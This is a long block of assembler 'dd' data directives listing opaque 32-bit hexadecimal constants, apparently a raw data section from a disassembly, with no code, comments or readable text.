		dd 0FE6A2986h, 0C3DF1200h, 0BFA01756h, 97447h, 0E13FC02Ah
		dd 6A76AF25h, 7ED89301h, 47D2F027h, 0E4C2B080h,	0BCC9C89Fh
		dd 330EA07Ah, 20B92EF3h, 6F53AC98h, 6B3B3923h, 24270584h
		dd 0F138C04Bh, 3376D5C7h, 41F2B713h, 75E4C080h,	3CEF0F25h
		dd 0AC27A715h, 0F301C426h, 89400628h, 5E899FCh,	6AD8B1C1h
		dd 3184818Bh, 9C4C24EFh, 9200187Bh, 2E8E51F7h, 13B749C7h
		dd 410D28F4h, 706979E0h, 8AE420F9h, 0E273C3Dh, 203B2AB5h
		dd 86536DA2h, 7F3E00A8h, 6A08A5D3h, 0E702801Ah,	0A4EDADD2h
		dd 8710C005h, 1C197D6Eh, 440D34EAh, 3F048C4h, 9E578C14h
		dd 0BF7360h, 7913CEFBh,	76DCBC93h, 77706505h, 0AFC0B5A5h
		dd 50F24CB3h, 5C49EADAh, 6300D8C5h, 0DBEB995h, 0A400904Fh
		dd 0AB35682h, 3C08E93h,	469CB1DCh, 7AC6DBC5h, 39BD4E00h
		dd 59F6F23Ah, 0BB7F008Ch, 0C13511F4h, 0EA00DF50h, 4A058127h
		dd 0E833A2Eh, 0E62C890Eh, 0C0626A85h, 0FDCD5C80h, 0EA280F0Eh
		dd 1BE421BEh, 8EE0F69Eh, 3FC5003Ch, 1980BF5Fh, 64006650h
		dd 579695D2h, 0B8429CE8h, 254B00ACh, 85341A05h,	7A00F378h
		dd 0C1C579E3h, 9A36CEh,	0E245F6D5h, 0DDF3835h, 3C9011C7h
		dd 0E85216B0h, 3E6F3A2Fh, 5CA84180h, 0D1D462FAh, 156C2B0Eh
		dd 58C5220Fh, 90F4C007h, 4D170016h, 0F8D9AEFBh,	0E6002F4Ah
		dd 0B296C19Eh, 0A038459Dh, 74F9A6h, 0A23F865Fh,	0B4DCF873h
		dd 0CD76FA01h, 72810511h, 98287084h, 616F075Fh,	54FF4480h
		dd 0F057CBFh, 39CB49FDh, 4D8026A9h, 0A1BEB1E2h,	0DF324600h
		dd 6879838Ch, 4C1D0019h, 3BA48106h, 0AC00FE43h,	0A350E1D5h
		dd 57DEAEh, 11C4E879h, 131686ABh, 0F84E6600h, 5C7E3609h
		dd 58E901F2h, 0D199FF5Ah, 157DDC5Bh, 0E4926B00h, 0F07E388Eh
		dd 173C005Ch, 80873916h, 1C0005E0h, 0C1845F97h,	13B203h
		dd 364FA8CAh, 75CAF33h,	0A454943Dh, 0FB009115h,	82430EECh
		dd 0B5571465h, 7E877Fh,	8E02B9AAh, 43F6870Bh, 0A59F6000h
		dd 568BEB4h, 0E7D2019Ch, 0BB745B53h, 499260A4h,	182DC600h
		dd 0FE720AB2h, 0C53E00BFh, 6EDF5BEFh, 0ED011DB3h, 0D27973B5h
		dd 34F89BC8h, 9C641244h, 0F280E6Ch, 415776E0h, 9134994Ah
		dd 0C60019DEh, 0EC05AB65h, 769000DAh, 75DDD9EAh, 7E18BB17h
		dd 7B28A0F8h, 95550720h, 35C1D0Dh, 14129276h, 7F002D51h
		dd 0CBAB8081h, 7C6A01A5h, 855AF354h, 0A639F474h, 62E6E000h
		dd 97B93BB0h, 0F30F2F9h, 935D022Ch, 0CDDBEEBh, 0C504A8h
		dd 4C3287E1h, 0AE270D1Ch, 85DC1400h, 624D8E01h,	0BD71B8h
		dd 0D1CB40E0h, 32C2A73Ah, 15B99001h, 8EAE0EDCh,	12E23FC8h
		dd 0FA36B0h, 4720A2C6h,	5503DD76h, 6F820E45h, 9C8D04Eh
		dd 0CDAB00EFh, 120D6295h, 80EC03A8h, 0C3CC6900h, 1E01C8E0h
		dd 63820123h, 0A504093Dh, 0ECDC205Bh, 952C5F00h, 6F4415A6h
		dd 63050084h, 261762DFh, 1802EBC7h, 10ABD6A5h, 0BB3C407Dh
		dd 0C0B9184Ah, 0B47F112Eh, 9D502978h, 680043B0h, 0B2348BF2h
		dd 97253E1h, 0DACDE7E4h, 1CAB2080h, 0AD00FD5Eh,	328F1A08h
		dd 1707659h, 0D3C5F990h, 0F5B172D0h, 9A8208Ah, 9A045E03h
		dd 0DB9BD993h, 6C94F8BEh, 574A1DC2h, 0E09CC006h, 1CFE267Ah
		dd 989BD00h, 8F11A510h,	3BC51F28h, 0C056DFB7h, 0EDA92036h
		dd 18008B60h, 0F557EFDCh, 7945AD5Eh, 2B0600CFh,	2C9A81CEh
		dd 0B402F134h, 0C8740E1Fh, 36F240D9h, 5E6005Dh,	99FAFF4Bh
		dd 48C080BAh, 6C457FD6h, 77F20079h, 0CB75C435h,	280741F6h
		dd 80A1E43Dh, 76C02Ch, 8DCA725h, 2075B932h, 0E0E02B72h
		dd 0B730CA03h, 0F135414Ah, 17F40EEDh, 9A851F36h, 1600FC95h
		dd 2E0BEBB3h, 4C3EEA94h, 921507CBh, 936065CDh, 5C02AC21h
		dd 305823F4h, 29352060h, 0F0C088Dh, 7859EE18h, 395D0028h
		dd 523A763Dh, 5701FC30h, 77A3552Bh, 38D8F6F5h, 0DBD14CECh
		dd 3A528107h, 409F6EFBh, 9A494AFEh, 0B67AD306h,	0DF1ED0FAh
		dd 1EC7117Ah, 0B8F09CCEh, 7D82Ah, 9A8A836Ah, 0BB105BC0h
		dd 74C54300h, 61D57DF7h, 0B27E26D6h, 810E00D0h,	0E7A48C5Bh
		dd 1A03F200h, 749C8B6Eh, 9F0900A2h, 637D9AE8h, 5A00B9ADh
		dd 16D28D7Fh, 3F8520E7h, 1FCC1F8h, 0A9264CB4h, 20A15239h
		dd 2800B88Ch, 0F1EE7825h, 0AEBC4FFh, 0C6FBE9FEh, 4FD500BAh
		dd 621D903Dh, 9493A21Ch, 173A2341h, 9CF8D822h, 0F94A00ABh
		dd 0F76050BFh, 811FB7C1h, 0C4892379h, 2678007Fh, 54DABB5h
		dd 709556DFh, 0E2CC4FF3h, 0FD40011h, 4968B9BEh,	430B14B3h
		dd 0E00C0DFh, 2A5FD34Dh, 983E3083h, 0DDCD805Ch,	28BA69E9h
		dd 29D0EB37h, 8FC60247h, 0BEA457F1h, 7C4FB0C8h,	0DACA8B00h
		dd 0D45314D6h, 383BF2E3h, 3E00D1AAh, 42F47420h,	0CF3941E1h
		dd 29E4830h, 0ECB35CC8h, 3D706026h, 0BB2E007Ah,	0CBE38C34h
		dd 4900D61Bh, 0FF36A4Eh, 6C4DB7h, 3B65EDA2h, 0D08D9F17h
		dd 0D25BBB00h, 0EBECCD1Ah, 0C569149Eh, 0F900E0ABh, 0F60BB64Eh
		dd 0A7A13438h, 0F4B86007h, 0C8E76400h, 0D9E45AA5h, 7A0100C1h
		dd 1502A74Eh, 0BF3C7566h, 863C019Dh, 0D450D68Dh, 0E335F700h
		dd 812F171Dh, 45F3C500h, 3FDE5Eh, 0C447AC4Dh, 18EE719Dh
		dd 9066B507h, 0F440DB1Eh, 27BE01A9h, 0F1566D6Ah, 0F7298107h
		dd 0B3D44EC0h, 22877B5h, 0F377562Eh, 0E061FB1Ch, 0DD784036h
		dd 0BE90588Fh, 8122D30Eh, 88986091h, 100386h, 0BDD1E04Eh
		dd 343C41EAh, 0A5DD3E00h, 42CD7D40h, 0BE715898h, 43571000h
		dd 74B117CEh, 0C118E500h, 2E45F437h, 8E670011h,	0B7134D8Ch
		dd 0D479565Ah, 0EF289C07h, 94109131h, 6637F7h, 891CDFDBh
		dd 0FA4B70BAh, 291BA8C0h, 772AA6h, 0A365C956h, 0FEF59DFh
		dd 84E37C03h, 0FFB3B435h, 736CA06Bh, 28B7485Ch,	0C293ABh
		dd 0A32BE4E2h, 50B5771h, 2107F518h, 0FFAE10h, 5DDBB8FEh
		dd 0E679A415h, 0FA133490h
		dd 8C401289h, 0F3EC31FFh, 3CF409BEh, 80008423h,	4119EB8Dh
		dd 88A749h, 0B6501E2Ch,	271AA9h, 83942391h, 59A137A8h
		dd 0CB2A4E01h, 5434A4Ch, 73E83E20h, 0CDFE00A3h,	5B3CADFCh
		dd 6800D403h, 3F8E9031h, 153D30h, 7F32BC25h, 71D739B9h
		dd 0EB50AC01h, 0B19B8C4Bh, 62AEA880h, 7A442D3Bh, 0B9A35200h
		dd 143C6B50h, 0BFF600E6h, 835AFBC5h, 0BA1459C8h, 3ED62D5Eh
		dd 51A70047h, 94343AA1h, 454F02Ch, 0FDC17219h, 9020C756h
		dd 12FE0ED8h, 527B2B00h, 53652FB3h, 880B5D41h, 34E9B70Ah
		dd 9A038994h, 0B132E0Eh, 34A5D6B3h, 76208011h, 0B006D4AFh
		dd 1679D5D3h, 0F96200B8h, 5F1FE9CEh, 0F4001B05h, 3C582118h
		dd 72ED8B33h, 73E8007Fh, 42D937E3h, 0F72C644Ch,	0D5003881h
		dd 0AA0B2B36h, 278A7693h, 80D676DFh, 0D9C3BA1Eh, 0D84556EBh
		dd 2A37D5Ch, 302655DBh,	48C0C658h, 0F990576Ch, 0E20289E8h
		dd 0EA7C8FD3h, 9BFCA097h, 2CBE619h, 908D723Dh, 0DCC014FCh
		dd 4E60A6ADh, 0B1E2E840h, 0F08400D1h, 0B6BACB6Eh, 0C90071E6h
		dd 14B3FF33h, 4635D7Ch,	960B8FC1h, 0A0EC8064h, 0A90072AAh
		dd 85D69011h, 391D973h,	3A956710h, 9903DECh, 28EB3E9Eh
		dd 0C42B14A4h, 9C2E873Ch, 1693A07Eh, 12F8C97h, 70EA3F22h
		dd 0E85BC957h, 4D245615h, 770138E7h, 0A0F6FA05h, 3C473C82h
		dd 0F88E7281h, 802A4167h, 625AA2F7h, 0F4D72E00h, 981E273h
		dd 5F970018h, 0A5D86677h, 6C002495h, 54B0B875h,	3896C1CDh
		dd 170211CEh, 28A7A8E9h, 0E432D883h, 6F630F88h,	51B8EB03h
		dd 2652EC6h, 78A90C8h, 0BB83B785h, 0E6C04702h, 0CD5C3A56h
		dd 0A0DD008Ch, 972BF278h, 4A062E9Bh, 5A6C0334h,	8982BF59h
		dd 6639AB60h, 0BA138D71h, 0C403C94h, 46EEB296h,	0C384C5F2h
		dd 8CA400C8h, 8E1689F0h, 50008FEh, 60B6C0FEh, 46BC01h
		dd 0EFA4273Ch, 0E3CF2BF7h, 0B05ED609h, 0DC5001Ch, 1F653CFBh
		dd 40196E7Eh, 0B37726DBh, 731857B1h, 357E124Ch,	909005h
		dd 5FD4611Dh, 53DFD191h, 21E4Ch, 3F3E77C3h, 74DEBEBAh
		dd 49BF0021h, 8285E027h, 5230EB1Bh, 983C1F1h, 0C109A3Ah
		dd 0E1C4766Fh, 1E028418h, 577B718Ah, 0ABBCE81Bh, 372700A2h
		dd 808CFFFBh, 2B253AC9h, 0FE3800C3h, 58D99074h,	100CC1B9h
		dd 99C88577h, 0D236CB03h, 0B8262434h, 0F08B953h, 6E2D73FAh
		dd 585AE540h, 9B00F528h, 48C9B027h, 1E43F416h, 3FE5B5Ch
		dd 9F184D32h, 617DBF80h, 5AE47A00h, 7AAC68Fh, 0FF59013Ah
		dd 2E42D49Ah, 80B7C9EAh, 0F545C43Eh, 0F0A0D5h, 59F1D682h
		dd 0A3AF4171h, 0E7007A78h, 7545501h, 158A938h, 0E946B387h
		dd 0C8DE451Ah, 25003FC6h, 79892EEEh, 0B2A5D1h, 75CA2688h
		dd 81B8B95Fh, 1E2B4402h, 40FBB5A6h, 658E9Eh, 5A0E63ADh
		dd 87572294h, 0F7A8BB00h, 0F2357495h, 40FC01FDh, 0ECBA3D83h
		dd 350386Fh, 0E4C474Eh,	0DA80D829h, 76DB00DFh, 2003E390h
		dd 71074948h, 0C2636B8Dh, 5E80CFD7h, 1C34C7h, 115AD6Ch
		dd 3AF9645h, 302F7230h,	1CC055D1h, 0C35E4BCEh, 4FC42DDFh
		dd 3E1B3C8h, 0A82CFC00h, 0B0E5D68h, 2FBD011Bh, 0A7FA4C54h
		dd 4BE0FA5Ah, 5100625Eh, 5FCFC59Bh, 5A0A138h, 730D6DEBh
		dd 18388012h, 0D200C3A5h, 0D7AD7CD4h, 48DABF3Dh, 5A0332F6h
		dd 7899AE3h, 8ED8E9B9h,	9E3E7330h, 1848FFh, 24CC4205h
		dd 0C0B1B44Ch, 0D71C5D20h, 9F007234h, 884FF1BEh, 0F86BCCC0h
		dd 3EA0922h, 2680878Bh,	0F84F86Dh, 7CA2E000h, 0E1686382h
		dd 78EF4C70h, 1D9812h, 3920268h, 0E61C6CCBh, 0BA0E3C3Dh
		dd 0D0003E7Ah, 0E7E34577h, 0C6F000E8h, 6B74B7F3h, 0C8C1B0D9h
		dd 31913686h, 7F79EF0h,	0E15E4411h, 70AD305Fh, 2C96FBC7h
		dd 0E2AA8300h, 0A053982h, 32FFF09Ch, 949881D8h,	0FBB1AFA1h
		dd 0F14FCAD0h, 635F3Fh,	0FEEDB3D0h, 0D2E4A3h, 6CA7C64Bh
		dd 4482138Ch, 92008374h, 3995B5D4h, 5330CDFh, 0F37FDD40h
		dd 5EF490DCh, 0E03A1EB4h, 9F8107B6h, 2040911Fh,	17B3B89h
		dd 9EEBE787h, 2F8A8511h, 0A01E5E05h, 30C17384h,	0C4391A8Fh
		dd 8E92C0C0h, 7F063F4Fh, 2242EF9Dh, 959100C9h, 3ABEAEA4h
		dd 0C4000866h, 9F6B5CBCh, 853D2Fh, 0C34E5132h, 4110CCBh
		dd 0BA923B00h, 3E2CC27Fh, 70752FD2h, 0E0371FE0h, 0B9218100h
		dd 0DDAC7928h, 0E51F0086h, 6187A2Dh, 8C00C953h,	4947EFCCh
		dd 9C7C50h, 0F32DC419h,	785643ECh, 8054803Fh, 174AF512h
		dd 9AC6FC37h, 580D4C64h, 2B346583h, 0E626B3C0h,	4363C570h
		dd 803D44A8h, 0B1CA10h,	801F0BB5h, 0F405651Eh, 787223Ah
		dd 6DC7AD44h, 0B45970B0h, 0CD9F00ACh, 18800DCEh, 390026D6h
		dd 60AF3B5Ch, 6A8949h, 79569986h, 3DE9A25Dh, 1596100h
		dd 4AB7DB67h, 64F20Ah, 20F560A0h, 4B18BFF4h, 7B00D498h
		dd 6BF2AECFh, 3EF1936Fh, 0F58A80BCh, 80BC34CDh,	59118212h
		dd 1AB00D45h, 0E000E8E8h, 0B95AC8DDh, 0FBAF88F5h, 0B3D86180h
		dd 415FFFCEh, 7114B000h, 0B135328Fh, 377C3DDEh,	1E00A3BDh
		dd 81F33A46h, 1900C56Ch, 3EF5890Dh, 0BAAA3052h,	0D8272588h
		dd 6DE61C81h, 5F488177h, 5CF3F8BEh, 0B27AD0h, 84DC25FAh
		dd 8983A1E4h, 0FC0A5E00h, 0D841EA07h, 29CD12BAh, 0B124C053h
		dd 75306915h, 0AA0C686Bh, 0C7938065h, 808FDA3Ch, 0A4CA61EDh
		dd 1730D9h, 3F4E60A1h, 0ABF7E17Bh, 8DF62600h, 5735D3AEh
		dd 0FB1C0050h, 4C034DC0h, 9A0E3973h, 60F30485h,	41F5C95Ah
		dd 7EF90F12h, 93E0E3B1h, 0E24DD063h, 0FFAA8D14h, 0DE5502ACh
		dd 40903428h, 58B1E0h, 53B00A8Ch, 0CF0DAE41h, 0BD3C103h
		dd 0A8E0D550h, 12EA374Eh, 57EA06Ch, 0C0663850h,	0C0F04410h
		dd 72F9F100h, 41FC9761h, 716003Ch, 0D2377890h, 2C0E5567h
		dd 0A13DE22Dh, 84A7D0E1h, 20BBE424h, 0D3E4AFFh,	21581F09h
		dd 0C4B16C0h, 9190A6h, 2F32C0ACh, 5ABA096h, 0FFF83801h
		dd 16152E11h, 4721DF8h,	7AEA097Ch, 0F204E0E0h, 10840D01h
		dd 0D771A26Dh, 347830h,	85867D60h, 2FBC49F3h, 0A40C371Ch
		dd 421F8C26h, 0EAF91B00h, 0F97B652Dh, 324C6420h, 4489F5DDh
		dd 0AD0934E0h, 12FE4200h, 0C0C7BA9Fh, 3B221323h, 1D78007Eh
		dd 8A963EFBh, 232B362Eh, 86B28F00h, 7B946Eh, 121D399Ch
		dd 72B518ECh, 5048F8E8h, 56007334h, 5902A062h, 66255Eh
		dd 40517045h, 7ACDC090h, 84FE910Fh, 0C2E680F3h,	468DB5Bh
		dd 22B76D17h, 5CFC81C6h, 280EC095h, 5F00F3E4h, 0CCF6EE8Ah
		dd 14B60A34h, 0FC3CA7D1h, 6E29F200h, 0CA813F69h, 0B8A196F4h
		dd 30A0E944h, 237809F0h, 240D7301h, 0B1D7C52Fh,	96DE5C4h
		dd 0ED903F57h, 77259400h, 0C5009492h, 494AE4DAh, 341827Ah
		dd 3FD8706Bh, 0B7A042D9h, 0AD001051h, 8B9C9E1Ch, 0B9AF0Ch
		dd 9A717BB6h, 48F2D2E9h, 75DA8D01h, 1D65197Ch, 4D8C24h
		dd 77AE58B5h, 732B5F1Ah, 0BE687100h, 3ABB8627h,	3F8000DFh
		dd 0D0759A0Eh, 0D2007DE4h, 0C26CF4A5h, 0BFA23Ch, 0D801BE70h
		dd 98FE74F5h, 18331F00h, 89A0CBDCh, 0AA7612h, 0EAB514FCh
		dd 427E079Fh, 5339F401h, 872FBBB2h, 90B4034h, 0DE5AB7E3h
		dd 4BA12880h, 6C021BD3h, 0ACF64D04h, 0ABB98036h, 1EB0B8Dh
		dd 1380E6E0h, 649590D3h, 5A03BA48h, 31CFD07Bh, 13229898h
		dd 82E92F01h, 96047090h, 7500D5EAh, 0DB08FB0Eh,	78A28217h
		dd 438D02E7h, 0FADEF777h
		dd 39712460h, 4E0523FAh, 382EA152h, 0EAFC9CB1h,	0FDE00EBh
		dd 0AB6D4CBCh, 0D05BFE4Dh, 86A80805h, 24E34480h, 0B8E80070h
		dd 361BB2B5h, 38002090h, 0A918B95Eh, 3EF9C046h,	68019805h
		dd 167B7632h, 298C34DAh, 0D7E65101h, 0B18E3344h, 38C089Dh
		dd 5EBCE54Ah, 52D9890Bh, 7482090h, 3A933EB6h, 2003E604h
		dd 95DA1D0Dh, 0E57621CEh, 0D7395561h, 589D3054h, 218B004Ch
		dd 689E1FFEh, 6038D5E2h, 7A00F0D2h, 0D1A22E46h,	0F12D345h
		dd 0F1631773h, 209CDA64h, 2B75C0h, 5EA6123Bh, 9BA45220h
		dd 572E1C00h, 0E6338B11h, 53600784h, 63EAD9F2h,	0E0889E3Dh
		dd 3B7745E1h, 7C1B7B28h, 460423FCh, 0E7D02A67h,	2893B890h
		dd 0E18B0019h, 0F8B825F9h, 0B57B2736h, 80A5123Fh, 0C94F5FA7h
		dd 7A53F3h, 0E550C472h,	0A6380934h, 0DA072F77h,	0A101573Ah
		dd 4A9B5F40h, 0AD0A00EDh, 54417DC2h, 0BB00ECBDh, 2E4E2C4h
		dd 70433042h, 79E33AC1h, 0AF579A80h, 4DAD951Dh,	9F7CA500h
		dd 63A9DBBEh, 0A2020080h, 0BBAEC3C1h, 0E6038FEAh, 74AB5616h
		dd 40E7C848h, 3D9500B7h, 0BD6823FBh, 5A00191Ah,	3638BC24h
		dd 2542B1h, 169B48F8h, 5272DC2Bh, 7EB34500h, 6DACD93Bh
		dd 0FA84A9F6h, 0AB9782D4h, 86B1C0BCh, 951A00C6h, 38E4A71h
		dd 300007BAh, 0D88916B2h, 1EAF12E9h, 1C013E2Eh,	92EC0070h
		dd 6A17FBCCh, 0BB82175h, 0D4BA7D70h, 0AA0458D0h, 0C0BE9316h
		dd 5DC17AF4h, 0F758D11Eh, 0B05978C0h, 3C648EEDh, 0FF48940h
		dd 51E18A26h, 6F2931FDh, 66911167h, 0A10F812h, 86B8981h
		dd 0EC5E4461h, 119E4284h, 0D5117CC7h, 25201162h, 2A65AF08h
		dd 0A50FA311h, 73C18ED3h, 0D8B67041h, 990056F8h, 0FAAD9E05h
		dd 94B422h, 0FD1420E0h,	5DAEC64Dh, 5D9AF00h, 0EEF19B3Ch
		dd 0A3FE0095h, 30468143h, 100F864Bh, 0C029D82Dh, 68E372C6h
		dd 70E81F96h, 0B2DBCF85h, 1520F02Eh, 7A544DCh, 5E006F7Dh
		dd 4625633Dh, 78B5C7F4h, 12EF00FCh, 0C5A9EA21h,	0B200F21Eh
		dd 5CD0D2FFh, 9E65E3h, 824B9B67h, 66B36012h, 8F00D8B0h
		dd 71E3908Eh, 0E78481h,	0F9A31C6Ch, 0A9584ED2h,	0BE44EA00h
		dd 94615A70h, 85AB005Ch, 5308F04Ch, 0A772ECC6h,	0E42DCD00h
		dd 0E380BEB2h, 76490E5Bh, 2AE0FCE1h, 0BD06A5BAh, 2500D375h
		dd 894F4012h, 9021B420h, 0C57B88h, 5D38AB02h, 664B3DEDh
		dd 700030F6h, 7432523Ch, 937D2D8h, 8798C8AFh, 5B732400h
		dd 9000E86Bh, 0A7417E45h, 3058CDh, 0FB3AF1Ch, 6E19717Ch
		dd 5D007A7Dh, 3B5ACCFAh, 7DC01Eh, 1A05D79Ah, 39F9DA7Bh
		dd 0CA6D1100h, 38BF5740h, 0D8C8005Ah, 48DC3BC1h, 0FF0077E0h
		dd 7892ACF2h, 6837B0h, 62BA7447h, 9F2B7C5Eh, 0B0E85230h
		dd 3B233B6h, 852255D0h,	0E288E72Fh, 0E306A42Dh,	1E0977Fh
		dd 841E2602h, 0AC390F44h, 0D9532DA0h, 4F013AC4h, 8E03A53Dh
		dd 1D7001B0h, 12211F83h, 0E0D0B9C3h, 7F100138h,	0D48D024Bh
		dd 0E9A820F9h, 0BAB7C81Fh, 89506F40h, 0ECB323h,	72E044CBh
		dd 57EA122Ah, 0A6C8D100h, 5CEFBE50h, 6F45006Ah,	0F707040Ah
		dd 0DEE83E27h, 0AB5B7D0Ch, 2870A7h, 9E96C27Bh, 0C0024AD7h
		dd 6A81FBEAh, 88D5010Ah, 31110B44h, 1D2639E8h, 8B63E06Dh
		dd 0E7F6A7F5h, 25CD8A02h, 0F48B40A4h, 30F33878h, 7D68A101h
		dd 8079DFC7h, 0F2E37E64h, 9389AA4h, 20C49041h, 0DD5D7400h
		dd 94004649h, 0BC28B6F0h, 96A488h, 0D4D104C0h, 654D677Bh
		dd 5907A978h, 94745748h, 0B75D3D00h, 1F107CAh, 21E286F3h
		dd 3057C7BDh, 2E000544h, 55E499F4h, 43CCD2h, 175E58D4h
		dd 0F7FEB8EAh, 1B678F01h, 93ABD531h, 0F693824h,	0ADB348CAh
		dd 50E42647h, 20228BBFh, 0EB48217Ch, 0C3F100B8h, 0F4DAC8F0h
		dd 6D40014h, 42B6A3CAh,	8C002A49h, 392C97BBh, 77EE572h
		dd 0CC96656h, 0F43AC8h,	0F842986Fh, 3100FFB7h, 0D7BDCC22h
		dd 483E381Bh, 70D4E1h, 928B7EA4h, 0D514C4FEh, 220B2424h
		dd 7CE6BA00h, 9F8ACADh,	74CA024Ch, 0D2F1BCA0h, 7100D69Ah
		dd 0F269C9Fh, 98988729h, 0A7B0169h, 8B539340h, 16E440DEh
		dd 3D00969Dh, 0A61A465Bh, 5CEC30h, 0B48DA9C9h, 0B6BEA78Ah
		dd 54FF971Eh, 89A88C02h, 3C07FAAh, 88907F9Eh, 0B5020A78h
		dd 997B8284h, 0FA2C40FFh, 8F671DE2h, 57D2400Bh,	5CC5B6D4h
		dd 0D900AC77h, 0D318F426h, 78D6D4Bh, 1D807D69h,	7808A006h
		dd 0C94C2023h, 80703DA0h, 859DD0D5h, 86A057h, 891F43A6h
		dd 0B16A7C31h, 5C92CA2Dh, 0D42C0033h, 86F05AA1h, 0DBB53204h
		dd 8F58D8h, 2918E6A2h, 345102EDh, 0E52C9182h, 0B5199848h
		dd 0E8E32402h, 40EBF099h, 0E5B4AC8h, 36EE670Ch,	0A849DBCFh
		dd 7A234083h, 936D1CB8h, 553E1A00h, 0C3875D8Dh,	0D22203AAh
		dd 53662BB3h, 0ACD5C8B0h, 892E3400h, 1AD4550Dh,	576000F7h
		dd 0C109C6C2h, 117346A1h, 84FB8B00h, 8C55B889h,	0F5B100BFh
		dd 88ED0926h, 0A603CC19h, 56596E47h, 12ECA9C8h,	0AD1F7468h
		dd 41B9C0DAh, 0D5932840h, 350BA700h, 0D3690EF4h, 54BE0089h
		dd 0B3061B61h, 0AE05C936h, 4668E790h, 0EA7C5E80h, 0F90D0301h
		dd 6D0CAC54h, 8388A6DBh, 0DE185C95h, 0D7E03F67h, 0C20F00F4h
		dd 0BFF8CB46h, 0D40058E7h, 53AEBED0h, 14FCDDh, 0A6FF323Fh
		dd 29F913Ah, 0BF2A6B00h, 0A52BE6DAh, 506E00A4h,	0EB0A391Ch
		dd 9400CA3Ah, 1124F321h, 879B22h, 3149C0F4h, 0B9399236h
		dd 351B1D03h, 9FED47CAh, 54BCDAF0h, 41C5A11Ch, 5782DCh
		dd 0CBCE6675h, 1B242DEAh, 6F1ED50Eh, 0B10C602Ch, 2CD04233h
		dd 334C505h, 78A611C0h,	0DCAAB998h, 0B640FA12h,	0F4302F00h
		dd 0CA27BAEh, 0F27EF14Ch, 1D178DA0h, 50003BCCh,	82C95561h
		dd 0D4720575h, 80939450h, 0E29BA7Eh, 148E2B00h,	0F52F5D13h
		dd 3CFE0070h, 559DAAB0h, 493AB6B2h, 0E84000D2h,	273FE2BDh
		dd 6D590033h, 7886E6A4h, 0B5F4840Ch, 5EC93000h,	42F90B8h
		dd 93BE005Dh, 0BBC233F9h, 0A4001AA2h, 0FBB970EAh, 9FF22Fh
		dd 30B41509h, 5D281C43h, 25B8EC60h, 90CBE42Ch, 2B50114h
		dd 0BF370DD1h, 2B9850CDh, 9100158Ah, 80A22D0Fh,	73AD93h
		dd 0E78F05FAh, 0AE311259h, 3044C700h, 0F9703694h, 66620746h
		dd 0E08702A4h, 9DF3D88Eh, 0AD430800h, 0FB110D7Ah, 0DCEF2992h
		dd 80699CC4h, 1CB2F618h, 79009AC0h, 6E32DB58h, 705EFA77h
		dd 8B020098h, 0B6A10BEh, 57003CBCh, 5FF5A89Fh, 0CEA418h
		dd 6E246DAAh, 456954F8h, 3B080F00h, 0BB660193h,	0D77F017Dh
		dd 0F7BF631Ch, 0C5182EA0h, 0A8FB02F8h, 9D69C8h,	7BD0300Ah
		dd 0D2F65CA5h, 1C7C4500h, 0AC7EE3B6h, 19803BE5h, 0B9E64380h
		dd 4197211Eh, 0B19AF601h, 0DA6E5BE4h, 90DE63C8h, 36E00290h
		dd 5F6607F2h, 854BB880h, 0BD73D545h, 0A5CA20Eh,	78B7E03Bh
		dd 0C09DE60Eh, 17E14CCCh, 0C800DC91h, 2B6EDE12h, 0D2BAD7h
		dd 2ECF6CDFh, 0FF84FB0h, 90D86107h, 570722A0h, 0DEBC15D7h
		dd 0BA9A0E01h, 6240AAF5h, 1399A904h, 0FCF95A00h, 2F09F76Ch
		dd 1CDEEE63h, 9E8529ECh, 0F43140DCh, 5B2E1872h,	7D3D5800h
		dd 7F933983h, 0AC401D32h, 0AE480050h, 0F2DA2F81h, 1F20DF48h
		dd 80E8A921h, 0D2EDB200h, 0F093F74Ch, 335D01ABh, 0C6BB8B0Eh
		dd 7B9FFC35h, 0E1978600h, 81F4EAA8h, 0D434004Eh, 33A7E990h
		dd 3D005EBDh, 0E14F74C2h, 24B7E33Fh, 0E07C6CEEh, 49AE1C67h
		dd 9FF4C001h, 76EC2DEDh
		dd 8B603C35h, 0F32E0935h, 2082326Eh, 25207D6Fh,	0F481E41Bh
		dd 0B47B02BBh, 76C93DB9h, 1663C40h, 0EFC8B709h,	6E678296h
		dd 243FC07Ch, 1E1200C1h, 3811DFD7h, 0E90CACC5h,	288ABD3Ah
		dd 0FB560078h, 0ABD1A10Bh, 19D4E062h, 2B84910h,	0F83BE6E4h
		dd 0F1A4C091h, 0B9380015h, 4CCCE39Ah, 80BFD797h, 3DD6C4FAh
		dd 580624FBh, 0DD380314h, 2100E65Dh, 940FAE57h,	1359AAh
		dd 0DFD9B8A8h, 1DC7CFCCh, 54828D1Ch, 16D3000h, 960ABBh
		dd 8BC35FC6h, 22C87FFAh, 0ED68F213h, 1C6E9840h,	37429Dh
		dd 0AE9EE347h, 0DB7298EBh, 8020CC39h, 6C293DD0h, 0A3732Ch
		dd 0C83C7F92h, 84BAA60Eh, 0ADCC581Dh, 0AC0D8A40h, 3D751E6h
		dd 78B44954h, 0B000D4D9h, 0F047C15h, 0C0E1742h,	470B1C12h
		dd 80905BD8h, 4F5F260Eh, 3B8DA02Bh, 7B1F81h, 0CFF3C701h
		dd 0E766324Ch, 63761BF6h, 0AA9E070Ah, 107ACEAh,	0F3C0FA25h
		dd 7ABB3FE4h, 98A20112h, 0AC3C616Bh, 0BD2987B8h, 9B734C15h
		dd 0A4800803h, 73135EC4h, 797FA400h, 0E2BE78F4h, 8EE8003Eh
		dd 63AECDB3h, 0C5787C88h, 3C902F07h, 0E9C0BA97h, 76AA53E6h
		dd 0F2F00016h, 5A03BD72h, 0C400C3A9h, 8305E83Fh, 909AEBF1h
		dd 0A38E00AAh, 2E20AB18h, 9B00A0B8h, 35F722C3h,	0C04058h
		dd 4D25EC71h, 0DE348D49h, 0E02273Fh, 0AE332BADh, 566FA35Ch
		dd 4D70007Fh, 0DB6D192Fh, 0F4013B49h, 915E5DBAh, 22D8E888h
		dd 0CEF03Dh, 753AE53Eh,	0CB524F2Ah, 77D34Ch, 0B129AE09h
		dd 0C8A6A8h, 0E699AB83h, 23546860h, 0E04B6CCFh,	7C656410h
		dd 0F52400AEh, 49FDB931h, 0A1008A40h, 0E808D49Ch, 1CBB4638h
		dd 0C04A0942h, 9DB3869Eh, 73008C92h, 4D4F308Bh,	13F2793h
		dd 0BB67418Ah, 0C4472C4Bh, 0AC00AF9Fh, 49CA9DF9h, 840494h
		dd 0A46B38F4h, 41C0D943h, 3922E800h, 5374F802h,	6D5D001Ch
		dd 8D8E3EE7h, 1800DC92h, 2DAE2751h, 0A80833h, 1644F467h
